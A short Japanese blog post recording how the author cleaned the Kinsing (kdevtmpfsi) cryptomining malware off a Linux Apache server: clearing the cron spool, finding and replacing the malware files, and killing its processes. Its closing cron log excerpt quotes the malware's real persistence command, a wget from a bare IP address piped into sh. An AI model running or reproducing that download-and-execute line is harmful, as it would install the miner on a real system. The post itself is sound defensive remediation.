マルウェア kinsing(kdevtmpfsi) 削除方法

2694 ワード
Apache Malware Linux Linux テキストリンク

はじめに

仮想通貨をマイニングするマルウェア kinsing(kdevtmpfsi)に感染していたため、削除するための手順を記録します。

CPU使用率99%！

削除方法

cron無効化

1分置きに定期実行されているcronを削除・再作成して、使えないようにします。

rm /var/spool/cron/apache
mkdir /var/spool/cron/apache
chmod 755 /var/spool/cron/apache

マルウェアファイル検索

find / -name kdevtmpfsi
find / -name kinsing

いくつかのディレクトリから対象のファイルが見つかります。
私の場合は以下の5ディレクトリ

  • /tmp
  • /tmp/systemd-private-*
  • /var/tmp
  • /var/tmp/systemd-private-*
  • /dev/shm

マルウェアファイル無効化

ファイル検索で見つかったマルウェアファイル（kdevtmpfsiとkinsing）を削除・再作成して、使えないようにします。

rm ./kdevtmpfsi
touch ./kdevtmpfsi
chmod 644 ./kdevtmpfsi

rm ./kinsing
touch ./kinsing
chmod 644 ./kinsing

kdevtmpfsi○○というファイルがたくさん見つかった場合、全削除します。

rm -rf ./kdevtmpfsi*

プロセス削除

検索して出てきたプロセスをkillします。

ps -ef | grep kdevtmpfsi
kill 9999

おわりに

ちなみにcronのログには怖そうなログがたくさん出ていました。

vi /var/log/cron

日付 CROND[21134]: (apache) CMD (wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1)
日付 crond[18693]: (apache) INFO (Job execution of per-minute job scheduled for 14:13 delayed into subsequent minute 14:15. Skipping job run.)

参考サイト